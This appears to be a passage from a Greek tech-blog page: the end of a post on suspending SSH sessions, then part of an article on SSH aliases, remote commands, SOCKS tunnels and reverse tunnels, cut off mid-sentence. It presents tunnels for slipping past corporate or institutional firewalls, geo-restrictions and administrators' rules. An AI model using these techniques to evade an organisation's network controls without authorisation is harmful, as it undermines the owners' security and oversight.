Προσωρινή διακοπή
Για το τέλος αφήσαμε κάτι εξαιρετικά απλό (και ταιριαστό). Μετά από τα περίπλοκα σενάρια δικτύωσης που μελετήσαμε, θυμηθήκαμε κάτι πεζό: Πώς μπορούμε να μεταφέρουμε μια σύνδεση SSH στο υπόβαθρο, ώστε να ελευθερώσουμε την κονσόλα και να την χρησιμοποιήσουμε για κάποια άλλη εργασία; Όπως θα γνωρίζετε, κάτι τέτοιο επιτυγχάνεται με το πάτημα του συνδυασμού [CTRL+Z]. Με αυτόν τον τρόπο, το πρόγραμμα που εκτελούμε μεταφέρεται στο υπόβαθρο και η λειτουργία του τίθεται σε αναστολή. Όταν θελήσουμε να επαναφέρουμε στο προσκήνιο το συγκεκριμένο πρόγραμμα, αρκεί να εκτελέσουμε την εντολή fg (από το foreground). Πολύ απλό, έτσι δεν είναι; Μόνο που αν το δοκιμάσετε μέσα σε μια σύνδεση SSH, θα διαπιστώσετε ότι δεν έχει το αναμενόμενο αποτέλεσμα. Το πάτημα των πλήκτρων, βλέπετε, θα προωθηθεί στο απομακρυσμένο μηχάνημα και δεν θα ληφθεί υπόψη από την κονσόλα του δικού μας μηχανήματος. Για να μη συμβεί αυτή η προώθηση, πρέπει να εισάγουμε μια αλληλουχία χαρακτήρων που πετυχαίνει το λεγόμενο escaping. Συγκεκριμένα, πρέπει να πατήσουμε το πλήκτρο [ENTER] κι αμέσως μετά το χαρακτήρα tilde (την περισπωμένη). Κάνοντας κάτι τέτοιο, θα παρατηρήσετε ότι δεν θα εμφανιστεί τίποτα στην οθόνη. Το SSH, όμως, θα έχει λάβει το μήνυμα κι οτιδήποτε πληκτρολογήσουμε αμέσως μετά, θα μεταβιβαστεί στην κονσόλα του δικού μας συστήματος. Με λίγα λόγια, για την αναστολή μιας σύνδεσης SSH και τη μεταφορά της στο υπόβαθρο, πρέπει να πατήσουμε το πλήκτρο [ENTER], αμέσως μετά τον χαρακτήρα tilde και στη συνέχεια το συνδυασμό πλήκτρων [CTRL+Z].

Πλέον, εκτός από τα διάφορα κόλπα για το χειρισμό των συνδέσεων SSH, γνωρίζετε και το πώς να τις αναστέλλετε. Πιστεύουμε ότι κάπου εδώ η αποστολή μας ολοκληρώθηκε — ή τουλάχιστον ολοκληρώθηκε προς το παρόν.
Ιουλίου 24, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Η φιλική πλευρά του SSH [1]




Όσοι ασχολούνται μανιωδώς με την ασφάλεια, αναπτύσσουν συγκεκριμένα και (επιτρέψτε μας) ιδιόρρυθμα αντανακλαστικά. Παράδειγμα: Κάθε φορά που ακούνε για το SSH, αναλογίζονται την κρυπτογραφική ισχύ των εμπλεκόμενων αλγορίθμων, συνυπολογίζουν τα πιο πρόσφατα σενάρια συνωμοσίας που άκουσαν και καταλήγουν σε μια εκτίμηση για την ασφάλεια που προσφέρουν οι σχετικές συνδέσεις. Για όλους τους υπόλοιπους, οι συνδέσεις SSH αποτελούν ένα εξαιρετικά χρήσιμο εργαλείο, που μπορεί να μας βοηθήσει σε αμέτρητες περιστάσεις.

Πριν από μερικούς μήνες αναφερθήκαμε στις θεωρητικές αδυναμίες που παρουσιάζουν ορισμένοι αλγόριθμοι, οι οποίοι εμπλέκονται στη δημιουργία των συνδέσεων SSH (Ασφαλέστερο OpenSSH, εδώ και τώρα, τεύχος 40). Ξεκαθαρίσαμε βέβαια ότι πρόκειται για αδυναμίες που δεν πρέπει να μας προκαλούν ιδιαίτερη ανησυχία, αφού για την ώρα τουλάχιστον δεν υπάρχει κάποια γνωστή μέθοδος εκμετάλλευσής τους. Η παρουσίαση του θέματος είχε κυρίως προληπτικό χαρακτήρα και αφορούσε σε μια σειρά ρυθμίσεων που εξασφαλίζουν ότι οι συνδέσεις μας θα είναι όσο το δυνατόν πιο ασφαλείς στο κοντινό (ακριβέστερα: προβλέψιμο) μέλλον. Καλά όλα αυτά, θα πείτε, αλλά η δημιουργία και ο χειρισμός των συνδέσεων SSH δεν είναι πάντοτε εύκολη ή, τέλος πάντων, βολική εργασία. Μήπως θα μπορούσαμε να κάνουμε κάτι γι’ αυτό το άμεσο πρόβλημα του σήμερα; Πώς θα μπορούσαμε να στήσουμε τη μία ή την άλλη σύνδεση, χωρίς κόπο; Με ποιους τρόπους θα μπορούσαμε να αξιοποιήσουμε μια υπάρχουσα σύνδεση;

Παρόμοια ερωτήματα απασχολούν κι εμάς. Έχουμε βλέπετε καμπόσα συστήματα που τρέχουν Linux, ορισμένα φυσικά και περισσότερα εικονικά, ενώ συντηρούμε και (τουλάχιστον) δύο VPSes. Έτσι, πολύ συχνά βρισκόμαστε στη γραμμή εντολών κάποιου συστήματος, προσπαθώντας να πάρουμε τις πιο πρόσφατες ενημερώσεις, να στήσουμε μια υπηρεσία ή εφαρμογή, να τροποποιήσουμε τις ρυθμίσεις κάποιας υπηρεσίας και πάει λέγοντας. Σ’ όλες αυτές τις εργασίες οι συνδέσεις SSH αποδεικνύονται εξαιρετικά χρήσιμες, αφού διευκολύνουν τη “μετάβαση” από το ένα σύστημα στο άλλο, τη μεταφορά αρχείων, την πραγματοποίηση δοκιμών κ.ο.κ. Επομένως, αν μας προβληματίζει κάτι σε σχέση με τη χρήση του SSH και μάλιστα σε καθημερινή βάση, αυτό αφορά στην ευκολία με την οποία κάνουμε τις δουλειές μας και όχι στο ενδεχόμενο να μας παρακολουθεί κάποιος πράκτορας. Σ’ αυτό το άρθρο, λοιπόν, σας παρουσιάζουμε τους τρόπους με τους οποίους αξιοποιούμε *εμείς* τις συνδέσεις SSH. Θα ξεκινήσουμε από απλές ρυθμίσεις που διευκολύνουν την καθημερινή χρήση και θα φτάσουμε σε προχωρημένα κόλπα, για πιο εξεζητημένα και ενδιαφέροντα σενάρια χρήσης. Θέλουμε να πιστεύουμε ότι αυτά τα εφόδια θα σας λύσουν τα χέρια σε πολλές περιστάσεις, ενώ θα σας ενθαρρύνουν να πειραματιστείτε και να ανακαλύψετε ακόμα πιο ευρηματικές χρήσεις για τις συνδέσεις SSH.

Ταχύτητα και ευκολία
Αν και υποσχεθήκαμε να μην καταπιαστούμε με την ασφάλεια, είναι αδύνατο να μην πούμε ούτε μια κουβέντα. Η παρουσίασή μας άλλωστε θα ξεκινήσει με μια μέθοδο που απλοποιεί την εγκαθίδρυση συνδέσεων, ενώ ταυτόχρονα ενισχύει και την ασφάλεια του εκάστοτε SSH server. Πρόκειται για μια διαδικασία δύο απλών βημάτων, που αν την εφαρμόσουμε για κάθε μηχάνημα προς το οποίο συνδεόμαστε, η χρήση του ssh από τη γραμμή εντολών θα γίνει ευκολότερη και ταχύτερη από ποτέ.

Το πρώτο που πρέπει να κάνουμε είναι να απενεργοποιήσουμε τη χρήση των συνθηματικών και να επιβάλλουμε την ταυτοποίηση των χρηστών (user authentication) με κλειδιά κρυπτογράφησης. Με αυτόν τον τρόπο, οι SSH servers στους οποίους συνδεόμαστε δεν θα περιμένουν κάποιο συνθηματικό και ως εκ τούτου, θα είναι αδύνατο να υποστούν επιθέσεις brute force. Επιπρόσθετα, οι συνδέσεις μας θα πραγματοποιούνται χωρίς να απαιτείται η πληκτρολόγηση κάποιου συνθηματικού και χωρίς κάποια άλλη (αισθητή) καθυστέρηση. Επιγραμματικά, η διαδικασία για να ενεργοποιήσουμε αυτόν τον τρόπο σύνδεσης έχει ως εξής:
Δημιουργούμε ένα ζεύγος δημόσιου-ιδιωτικού κλειδιού, στο μηχάνημα από το οποίο πραγματοποιούμε τις συνδέσεις.
Εγκαθιστούμε το δημόσιο κλειδί στους επιθυμητούς λογαριασμούς χρήστη, των μηχανημάτων στα οποία συνδεόμαστε (SSH servers).
Ρυθμίζουμε κατάλληλα τους SSH server, ώστε να μην περιμένουν συνθηματικό και να αξιοποιούν το δημόσιο κλειδί.

Η παραπάνω διαδικασία δεν παρουσιάζει ιδιαίτερη δυσκολία, αλλά χρειάζεται προσοχή. Παρ’ όλα αυτά, καθώς πρόκειται για θέμα που έχουμε καλύψει πολλές φορές στο παρελθόν, δεν θα σας κουράσουμε επαναλαμβάνοντας τις λεπτομέρειες (Ασφαλέστερο OpenSSH, εδώ και τώρα και Απομακρυσμένα ασφαλή logins, χωρίς password, τεύχη 040και 042 αντίστοιχα).

Το δεύτερο βήμα για να πραγματοποιούμε συνδέσεις SSH με τη μέγιστη δυνατή άνεση, είναι να δημιουργήσουμε τα κατάλληλα SSH aliases στον υπολογιστή-πελάτη (υποθέτουμε ότι δουλεύετε από κάποιο Unix-like OS, όπως, π.χ., είναι οι διανομές Linux, τα BSD flavors ή το OS X). Πρόκειται για αυθαίρετα επιλεγμένες λέξεις στις οποίες έχουμε αντιστοιχίσει ένα σύνολο ρυθμίσεων. Για παράδειγμα, σε ένα SSH alias μπορούμε να αντιστοιχίσουμε τη διεύθυνση ενός server και το όνομα χρήστη με το οποίο πραγματοποιούμε συνδέσεις προς τον συγκεκριμένο server. Τα SSH aliases ορίζονται μέσα στο σχετικό αρχείο ρυθμίσεων του λογαριασμού μας (~/.ssh/config) ή στο αρχείο ρυθμίσεων της υπηρεσίας του SSH (/etc/ssh/ssh_config). Προφανώς, στην πρώτη περίπτωση τα SSH aliases ισχύουν μόνο για το λογαριασμό μας, ενώ στη δεύτερη έχουν καθολική ισχύ. Πάντως για να αποφεύγουμε πιθανά μπερδέματα με άλλους χρήστες και για να είμαστε σίγουροι ότι τα aliases που έχουμε ορίσει δεν θα χαθούν εξαιτίας κάποιας αναβάθμισης του συστήματος, είναι προτιμότερο να τα τοποθετούμε στο αρχείο ρυθμίσεων του λογαριασμού μας (δηλαδή στο ~/.ssh/config).



Ο τρόπος δημιουργίας και χρήσης των SSH alias, όπως και η ευκολία που προσφέρουν, μπορεί να φανεί με τη βοήθεια ενός παραδείγματος. Ας υποθέσουμε ότι ο χρήστης spiral συνηθίζει να συνδέεται στο μηχάνημα deltahacker.gr, το οποίο δέχεται συνδέσεις SSH στη θύρα 45123. Ας υποθέσουμε, επίσης, ότι ο spiral συνδέεται στο εν λόγω μηχάνημα ως pvar. Για την πραγματοποίηση αυτής της σύνδεσης, κανονικά θα πρέπει να δώσει κάτι τέτοιο:


ssh pvar@deltahacker.gr –p 45123


Αν ο spiral έχει δημιουργήσει ένα ζεύγος κλειδιών κι έχει εγκαταστήσει το δημόσιο κλειδί στον λογαριασμό του pvar στο deltahacker.gr, η σύνδεση θα πραγματοποιηθεί αμέσως και χωρίς καμία περαιτέρω καθυστέρηση. Όμως αυτή η διαδικασία μπορεί να απλοποιηθεί ακόμα περισσότερο, αρκεί ο spiral να ανοίξει το αρχείο ~/.ssh/config και να προσθέσει τα ακόλουθα:


Host delta
HostName deltahacker.gr
Port 45123
User pvar


Με αυτόν τον τρόπο δημιουργείται ένα SSH alias (η λέξη “delta”) που παραπέμπει στο deltahacker.gr, στο λογαριασμό του pvar και στη θύρα 45123. Μετά από αυτή τη μικρή προσθήκη στο αρχείο ρυθμίσεων, ο spiral θα μπορεί να συνδέεται εκτελώντας αυτό:


ssh delta


Όπως βλέπετε, τα πράγματα είναι πολύ πιο εύκολα τώρα. Μη νομίζετε όμως ότι είμαστε τεμπέληδες. Η ευκολία δεν έγκειται στη λιγότερη πληκτρολόγηση. Σκεφτείτε το σενάριο κατά το οποίο θέλουμε να συνδεόμαστε σε δυο-τρία συστήματα, σε διαφορετικούς λογαριασμούς και σε διαφορετικές θύρες. Σε αυτή την περίπτωση, η χρήση των alias εξασφαλίζει ότι δεν θα μπερδέψουμε ποτέ τα μηχανήματα, τις θύρες και τους λογαριασμούς, ούτε θα χρειαστεί να αποστηθίσουμε τους σωστούς συνδυασμούς. Σκεφτείτε τώρα κι ένα script, που συνδέεται σε διάφορα μηχανήματα και πραγματοποιεί εργασίες όπως η λήψη ενημερώσεων, η περιοδική μεταβολή κάποιων ρυθμίσεων ασφαλείας και πάει λέγοντας. Με τα βήματα που περιγράψαμε, ένα τέτοιο script θα εκτελείται πάντοτε με επιτυχία, χωρίς να είμαστε μονίμως από πάνω του για να εισάγουμε κωδικούς πρόσβασης. Εξάλλου, η χρήση των SSH alias καθιστά τον κώδικα πιο σύντομο και περισσότερο ευανάγνωστο.



Εκτέλεση προγραμμάτων
Συχνά πυκνά προκύπτει η ανάγκη να τρέξουμε ένα ή περισσότερα προγράμματα σε κάποιο απομακρυσμένο μηχάνημα και είτε να παρακολουθήσουμε την έξοδό τους στην οθόνη, είτε να την αποθηκεύσουμε σε κάποιο αρχείο. Για παράδειγμα, μπορεί να θέλουμε να τρέξουμε το top σε κάποιο μικρό VPS, για να δούμε ποιο πρόγραμμα το επιβαρύνει περισσότερο. Όταν θέλουμε να κάνουμε μια τέτοια δουλειά στα “πεταχτά”, δεν είναι υποχρεωτικό να μεταφερθούμε στη γραμμή εντολών του ξένου συστήματος. Μπορούμε να κάνουμε τη δουλειά μας γρήγορα, χωρίς να εγκαταλείψουμε το δικό μας σύστημα. Συνεχίζοντας το παράδειγμα με το χρήστη spiral, αν αποφάσιζε να ρίξει μια ματιά στις ρυθμίσεις του nginx στο deltahacker.gr, θα μπορούσε να δώσει κάτι τέτοιο:


ssh delta cat /etc/nginx/sites-enabled/deltahacker


Το συγκεκριμένο κολπάκι είναι γνωστό σε αρκετούς. Υπάρχουν όμως κάποιες λεπτομέρειες γύρω από τη χρήση του, που δεν είναι το ίδιο διαδεδομένες.

Υπάρχει μια κατηγορία προγραμμάτων που εμφανίζουν χαρακτήρες σε “αυθαίρετες” θέσεις της οθόνης και όχι υποχρεωτικά σε διαδοχικές. Τέτοια προγράμματα είναι όσα σχεδιάζουν στην κονσόλα ένα περιβάλλον χαρακτήρων ή έστω μερικά στοιχεία ενός περιβάλλοντος, όπως, π.χ., είναι οι μπάρες προόδου, οι μπάρες κύλισης κ.ο.κ. Μερικά γνωστά προγράμματα της κατηγορίας είναι το top, το wget, το screen και όλοι οι text editors. Αρκετά από αυτά τα εργαλεία είναι αδύνατο να εκτελεστούν με τον τρόπο που δείξαμε παραπάνω, ενώ κάποια άλλα εκτελούνται, αλλά το περιβάλλον τους εμφανίζεται “σπασμένο”. Για παράδειγμα, αν ο χρήστης spiral εκτελέσει το ακόλουθο:


ssh delta top


θα δει ένα μήνυμα λάθους και η εκτέλεση του top θα αποτύχει. Αντίθετα, αν δώσει κάτι τέτοιο:


ssh delta wget www.some-server.org/some-file.tar.bz


ο server του deltahacker θα αρχίσει να κατεβάζει κανονικά το αρχείο some-file.tar.bz, όμως η μπάρα προόδου του wget θα φαίνεται να μη λειτουργεί.

Για να μπορούν να σχηματίζουν το περιβάλλον τους και να λειτουργούν κανονικά, τα προγράμματα της κατηγορίας που περιγράφουμε πρέπει να εκτελούνται μέσα σε κάποιο τερματικό — πραγματικό (tty) ή εικονικό (pty). Οι συνδέσεις SSH, όταν μεταφερόμαστε στη γραμμή εντολών του απομακρυσμένου συστήματος, δημιουργούν ένα εικονικό τερματικό. Αν εκτελέσουμε το πρόγραμμα who, θα πληροφορηθούμε ότι βρισκόμαστε μέσα σε κάποιο pts (pseudo terminal slave: αποτελεί τμήμα/εξάρτημα ενός εικονικού τερματικού pty, διαβάστε περισσότερα πληκτρολογώντας man pty). Ωστόσο, όταν χρησιμοποιούμε το ssh για την εκτέλεση ενός προγράμματος *χωρίς* να μεταφερθούμε στη γραμμή εντολών του απομακρυσμένου συστήματος, δεν δημιουργείται κανενός είδους τερματικό. Όπως υποψιάζεστε, για να μπορούμε να εκτελούμε οποιοδήποτε πρόγραμμα με το ssh και χωρίς να αντιμετωπίζουμε προβλήματα, αρκεί να επιβάλλουμε τη δημιουργία ενός εικονικού τερματικού. Κάτι τέτοιο γίνεται με τη χρήση της παραμέτρου –t. Αν ο χρήστης spiral πληκτρολογήσει


ssh –t delta top


Το πρόγραμμα top θα εκτελεστεί κανονικά. Παρεμπιπτόντως, η δημιουργία τερματικού θα μπορούσε να αυτοματοποιηθεί, με την κατάλληλη επέκταση στον ορισμό του SSH alias:


Host delta
HostName deltahacker.gr
Port 45123
User pvar
RequestTTY yes






Μια ακόμα ενδιαφέρουσα λεπτομέρεια σχετίζεται με τους τελεστές ανακατεύθυνσης. Ας υποθέσουμε ότι ο χρήστης spiral θέλει να αντιγράψει τις ρυθμίσεις του SSH server σε ένα αρχείο για λόγους backup. Έστω ότι εκτελεί το εξής:


ssh delta cat /etc/ssh/sshd_config > ~/.ssh/server-config


Μπορείτε να φανταστείτε τι θα συμβεί; Οι ρυθμίσεις του SSH server του *απομακρυσμένου* συστήματος θα αποθηκευτούν στο αρχείο ~/.ssh/server-config του *τοπικού* συστήματος. Ο τελεστής ανακατεύθυνσης θα πάρει οτιδήποτε “έρχεται” από τα αριστερά του (ssh delta cat…) και θα το ρίξει στο αρχείο ~/.ssh/server-config. Αν το καλοσκεφτείτε, αυτή η συμπεριφορά είναι απόλυτα λογική και σε ορισμένες περιπτώσεις θα μπορούσε να είναι και επιθυμητή. Σκεφτείτε όμως το ενδεχόμενο να υπήρχε ήδη το αρχείο ~/.ssh/server-config στο τοπικό σύστημα. Σε αυτή την περίπτωση, ο spiral θα κατέστρεφε το τοπικό backup και μάλιστα χωρίς να το αντιληφθεί. Για να εκτελεστούν τα πάντα στο απομακρυσμένο σύστημα, ο spiral θα έπρεπε να περικλείσει την “εντολή” σε εισαγωγικά:


ssh delta "cat /etc/ssh/sshd_config > ~/.ssh/server-config"


Με αυτόν τον τρόπο, τόσο η εκτέλεση του cat όσο και η δημιουργία του αρχείου εξαιτίας του τελεστή ανακατεύθυνσης, θα πραγματοποιηθούν στον server του deltahacker. Όπως βλέπετε, όταν συνδυάζουμε τους τελεστές ανακατεύθυνσης με το ssh, πρέπει να επιλέγουμε προσεκτικά το αν θα χρησιμοποιήσουμε εισαγωγικά ή όχι. Περιττό να πούμε ότι την ίδια προσοχή πρέπει να επιδεικνύουμε και στην περίπτωση που χρησιμοποιούμε τον τελεστή διασωλήνωσης (|) ή το χαρακτήρα διαχωρισμού εντολών (;). Χωρίς εισαγωγικά, το τμήμα της “εντολής” που βρίσκεται μετά τον ειδικό χαρακτήρα, εκτελείται τοπικά.



Ασφαλής περιήγηση
Όπως υποσχεθήκαμε, αυτή τη φορά δεν θα ασχοληθούμε με την ασφάλεια των συνδέσεων SSH. Αντίθετα, ξεκινώντας από αυτή θα μάθουμε να την εκμεταλλευόμαστε για την προστασία του web browsing! Αν πιστεύετε ότι μια τέτοια κίνηση θα αποτελούσε υπερβολή, σας συνιστούμε να το ξανασκεφτείτε. Φανταστείτε την περίπτωση κατά την οποία έχετε συνδεθεί με το laptop σε κάποιο πιθανά επικίνδυνο δίκτυο WiFi και θέλετε να διατηρήσετε ασφαλή τα δεδομένα που στέλνετε και λαμβάνετε από τον browser. Μήπως θεωρείτε ότι τα δίκτυα WiFi στα οποία συνδέεστε δεν κρύβουν κανέναν κίνδυνο; Αν και στο περιοδικό έχουμε παρουσιάσει πολλά θέματα που δείχνουν το ακριβώς αντίθετο, αν επιμένετε ξεχάστε τα περί ασφάλειας ή όχι των ασύρματων συνδέσεως και φανταστείτε το ακόλουθο σενάριο. Υποθέστε ότι βρισκόσαστε πίσω από ένα εξαιρετικά αυστηρό firewall, το οποίο απαγορεύει την πρόσβαση σε ορισμένες ιστοσελίδες. Μην τρέχει ο νους σας στο κινεζικό Great Firewall, αφού ένα αυστηρό firewall θα μπορούσε να βρίσκεται και στο εταιρικό δίκτυο κάποιου Δημόσιου Οργανισμού ή της δουλειάς σας. Νομίζουμε ότι σε μία τέτοια περίπτωση θα επιθυμούσατε διακαώς (έστω κι από πείσμα) να ξεπεράσετε τους περιορισμούς του firewall. Αν εξακολουθείτε να πιστεύετε ότι γινόμαστε παρανοϊκοί, σκεφτείτε την απλούστερη περίπτωση όπου θέλετε να συνδεθείτε σε μια υπηρεσία streaming σαν αυτή του Netflix ή του LastFM. Ως γνωστόν, τέτοιες υπηρεσίες προσφέρονται μόνο για τους κατοίκους των ΗΠΑ και ορισμένων χωρών της Ευρώπης. Ε, λοιπόν, αξιοποιώντας μια σύνδεση SSH, μπορούμε να ξεγελάσουμε οποιαδήποτε υπηρεσία του είδους και να εμφανιστούμε ως βέροι Νεοϋορκέζοι, γνήσιοι Ισλανδοί ή δεν ξέρω κι εγώ τι άλλο.

Το OpenSSH, η υλοποίηση του SSH που χρησιμοποιούμε πρακτικά όλοι, έχει τη δυνατότητα να δημιουργεί ένα ιδιαίτερο είδος συνδέσεων, που ονομάζονται SSH tunnels. Αυτές οι συνδέσεις είναι πλήρως κρυπτογραφημένες –όπως άλλωστε όλες οι συνδέσεις SSH–, ενώ παρέχουν και μια πρόσθετη δυνατότητα: Λειτουργούν ως σήραγγες, μέσα από τις οποίες μπορούν να διοχετευτούν άλλες συνδέσεις, οποιουδήποτε πρωτοκόλλου. Για να πετύχουμε όσα περιγράψαμε παραπάνω, αρκεί να διοχετεύσουμε τις συνδέσεις που δημιουργεί ο browser μέσα από ένα SSH tunnel. Μη νομίζετε ότι κάτι τέτοιο απαιτεί πολλά και περίπλοκα βήματα. Πρόκειται για μία από τις σπάνιες περιπτώσεις, που η υλοποίηση είναι εξίσου απλή με την περιγραφή :) Αρκεί να δώσουμε κάτι τέτοιο:


ssh -fNTD 1234 username@some-server.org


Με την εκτέλεση του παραπάνω θα δημιουργηθεί μια “σήραγγα SSH”, που θα έχει ως είσοδο τη θύρα 1234 του τοπικού συστήματος και σαν έξοδο το μηχάνημα some-server.org. Αν εξαιρέσουμε το γεγονός ότι η έξοδος του tunnel χαρακτηρίζεται ως Dynamic και δεν είναι προσαρτημένη σε κάποια συγκεκριμένη θύρα, η όλη λειτουργία του tunnel θυμίζει το port forwarding των router. Με τις παραμέτρους που δώσαμε στο ssh, η σύνδεσή μας θα μεταφερθεί αυτόματα στο υπόβαθρο και δεν θα δεσμεύσει την κονσόλα (παράμετρος –f), ούτε θα δημιουργήσει κάποιο εικονικό τερματικό (παράμετρος –T). Η προώθηση των συνδέσεων (forwarding) πραγματοποιείται με την παράμετρο –D, ενώ η παράμετρος –N εξασφαλίζει ότι δεν θα εκτελεστεί καμία εντολή στο απομακρυσμένο σύστημα.

Έχοντας έτοιμο το SSH tunnel, απομένει η κατάλληλη ρύθμιση του browser. Στην περίπτωση του Firefox, αρκεί να επισκεφθούμε τις ρυθμίσεις, να μεταβούμε στην ενότητα Advanced και από εκεί στην καρτέλα Network. Στην ενότητα Connection του παραθύρου που εμφανίζεται, θα πατήσουμε το κουμπί Settings. Με αυτόν τον τρόπο βρίσκουμε τις ρυθμίσεις που αφορούν στη χρήση κάποιου proxy server. Εκεί επιλέγουμε το Manual Proxy configuration και τσεκάρουμε τις επιλογές SOCKS v5 και Remote DNS. Φυσικά, πριν πατήσουμε στο OK πρέπει να συμπληρώσουμε και τα κατάλληλα πεδία, δίπλα στην ετικέτα SOCKS host. Από εκεί προσδιορίζουμε το σημείο εισόδου του tunnel που δημιουργήσαμε προηγουμένως (διεύθυνση localhost και θύρα 1234).



Στην περίπτωση του Chrome, η σχετική ρύθμιση επιτυγχάνεται με τη βοήθεια παραμέτρων που πρέπει να δώσουμε κατά την εκκίνηση του browser. Για την ακρίβεια, πρέπει να τον ξεκινήσουμε κάπως έτσι:


google-chrome --proxy-server="socks5://localhost:1234" --host-resolver-rules="MAP * 0.0.0.0, EXCLUDE localhost" &


Αφού ξεμπερδέψουμε με τις ρυθμίσεις του browser, οι περιπλανήσεις μας στο web θα είναι πλήρως κρυπτογραφημένες και προφυλαγμένες από τα αδιάκριτα μάτια κάθε περίεργου (προσοχή: η προστασία αφορά *μόνο* στις συνδέσεις που δημιουργεί ο browser). Επιπρόσθετα, ακόμα κι αν βρισκόμαστε πίσω από κάποιο εξαιρετικά αυστηρό Firewall, θα μπορούμε να συνδεόμαστε οπουδήποτε. Για την ακρίβεια, θα μπορούμε να συνδεθούμε οπουδήποτε μπορεί να συνδεθεί το μηχάνημα που αποτελεί την έξοδο του tunnel. To αυστηρό firewall που έχουμε μπροστά μας θα βλέπει μόνο μια εξερχόμενη σύνδεση SSH και τίποτα άλλο. Τέλος, για το υπόλοιπο Internet, οι συνδέσεις μας θα μοιάζουν να προέρχονται από τον τόπο κατοικίας του some-server.org (η έξοδος του tunnel). Αυτό σημαίνει ότι αν ο συγκεκριμένος server βρίσκεται στην Αμερική, θα μπορούμε να συνδεθούμε και στο Netflix και στην υπηρεσία streaming του LastFM (εκτός κι αν η IP του server είναι σε κάποια blacklist — αλλά δεν χρειάζεται να είμαστε απαισιόδοξοι).





Πριν προχωρήσουμε, αξίζει να σταθούμε σε μια ενδιαφέρουσα λεπτομέρεια. Περιγράφοντας τη ρύθμιση του Firefox, αναφέραμε ότι πρέπει να ενεργοποιήσουμε την επιλογή Remote DNS. Με αυτόν τον τρόπο εξασφαλίζουμε την προώθηση των αιτημάτων DNS (από πλευράς browser) μέσα από το SSH tunnel και κατ’ επέκταση την κρυπτογράφησή τους. Αναρωτιέστε γιατί μας ενδιαφέρει κάτι τέτοιο; Η αλήθεια είναι ότι η συγκεκριμένη ρύθμιση έχει σημασία μόνον όταν βρισκόμαστε σε άγνωστα και πιθανώς εχθρικά –ή έστω αυστηρά– τοπικά δίκτυα. Αν δεν προφυλάσσουμε τα αιτήματα DNS, οποιοσδήποτε παρακολουθεί το τοπικό δίκτυο θα μαθαίνει αμέσως με ποιους servers μιλάμε. Μπορεί να μη βλέπει τα δεδομένα που στέλνουμε και λαμβάνουμε –αυτά κρυπτογραφούνται από το SSH tunnel–, αλλά θα ξέρει που πηγαίνουμε και με ποιους μιλάμε. Επιπρόσθετα, θα είναι ενδεχομένως σε θέση να πραγματοποιήσει επιθέσεις DNS και να μας παραπέμψει ύπουλα σε δικούς τους, κακόβουλους servers. Σημειώστε ότι ο Chrome δεν διαθέτει κάποια ρύθμιση, αντίστοιχη με αυτή του Firefox. Ωστόσο, φροντίζει για την αυτόματη προώθηση των αιτημάτων DNS μέσα από το ίδιο “κανάλι” που ταξιδεύουν και τα αιτήματα HTTP. Αν δεν είσαστε σίγουροι για τη συμπεριφορά τους δικού σας browser ή αν απλά θέλετε να ελέγξετε τις ρυθμίσεις σας, αρκεί να παρακολουθήσετε τις συνδέσεις που εξέρχονται από το SSH tunnel. Για παράδειγμα, αν θέλετε να τσεκάρετε ότι όντως προωθούνται τα αιτήματα DNS, μπορείτε να αναζητήσετε συνδέσεις που έχουν στον προορισμό τους τη θύρα 53 (πρόκειται για τη θύρα που χρησιμοποιείται εξ ορισμού από τους DNS servers) του απομακρυσμένου SSH server. Κάτι τέτοιο μπορεί να γίνει ως εξής:


ssh username@some-server.org tcpdump -i eth0 port 53




Το αντίστροφο πρόβλημα
Με το τέχνασμα που εξετάσαμε μπορούμε να αποδράσουμε από ένα περιοριστικό firewall — ή να ξεγλιστρήσουμε από την παρακολούθηση και τις παγίδες κάποιου κακόβουλου χρήστη ή μανιακού διαχειριστή. Σε κάθε περίπτωση, με τη βοήθεια ενός SSH tunnel μπορούμε να *εξέλθουμε* από ένα τοπικό δίκτυο, με ευκολία και ασφάλεια. Τι γίνεται όμως όταν θέλουμε να *εισέλθουμε* σε κάποιο τοπικό δίκτυο; Μη νομίζετε ότι το ρίξαμε ξαφνικά στις επιθέσεις. Μιλάμε για τη σύνδεση σε κάποιο οικείο τοπικό δίκτυο, που για διάφορους τεχνικούς λόγους μπορεί να είναι από δύσκολη έως αδύνατη. Ας υποθέσουμε ότι θέλουμε να συνδεθούμε σε έναν υπολογιστή του οικιακού μας δικτύου, ενώ βρισκόμαστε κάπου έξω. Η πραγματοποίηση αυτής της σύνδεσης είναι αρκετά μπελαλίδικη: Πρέπει να έχουμε ανοίξει κάποιο port στο firewall του οικιακού μας router και να έχουμε πραγματοποιήσει το κατάλληλο port forwarding, προς το μηχάνημα που μας ενδιαφέρει. Επιπρόσθετα, πρέπει να γνωρίζουμε και την τρέχουσα διεύθυνση IP που έχει αντιστοιχιστεί στην οικιακή μας σύνδεση. Το πρόβλημα με αυτή τη λύση δεν είναι μόνο ότι απαιτεί πολλές ρυθμίσεις. Θα τη χαρακτηρίζαμε άκαμπτη, ενώ σε ορισμένες περιπτώσεις είναι και εντελώς άχρηστη, αφού δεν μπορούμε να την εφαρμόσουμε. Για παράδειγμα, σκεφτείτε την περίπτωση που θέλουμε να συνδεθούμε σε κάποιο μηχάνημα της δουλειάς ή της σχολής, από το σπίτι. Κανένας λογικός διαχειριστής δεν θα δεχτεί να αλλάξει τις ρυθμίσεις του firewall της δουλειάς ή της σχολής, μόνο και μόνο για τη δική μας διευκόλυνση. (Εκτός κι αν ο διαχειριστής είμαστε εμείς. Πάντως ακόμη και τότε υπάρχουν πολλοί λόγοι για να μη σκαλίσουμε το firewall.)

Όπως υποψιάζεστε, οι συνδέσεις SSH μπορούν και πάλι να δώσουν τη λύση. Αυτή τη φορά θέλουμε να μπούμε και όχι να βγούμε από κάποιο τοπικό δίκτυο. Επομένως, χρειαζόμαστε το ακριβώς αντίθετο των SSH tunnel: ένα reverse SSH tunnel. Αυτές οι συνδέσεις συμπεριφέρονται και πάλι ως σήραγγες, μόνο που επιτρέπουν την πραγματοποίηση συνδέσεων με την αντίθετη φορά. Με άλλα λόγια, η είσοδός τους βρίσκεται στο απομακρυσμένο σύστημα και η έξοδος στο τοπικό. Για να λύσουμε το πρόβλημα που περιγράψαμε αρχικά, αρκεί να δημιουργήσουμε ένα reverse SSH tunnel από το μηχάνημα του σπιτιού προς κάποιο VPS. Αργότερα, όταν θελήσουμε να συνδεθούμε στο μηχάνημα του σπιτιού, αρκεί να συνδεθούμε στον VPS και να αξιοποιήσουμε το “αντεστραμμένο τούνελ”. Φυσικά, στη θέση του VPS θα μπορούσε να είναι οποιοδήποτε άλλο μηχάνημα είναι εύκολα 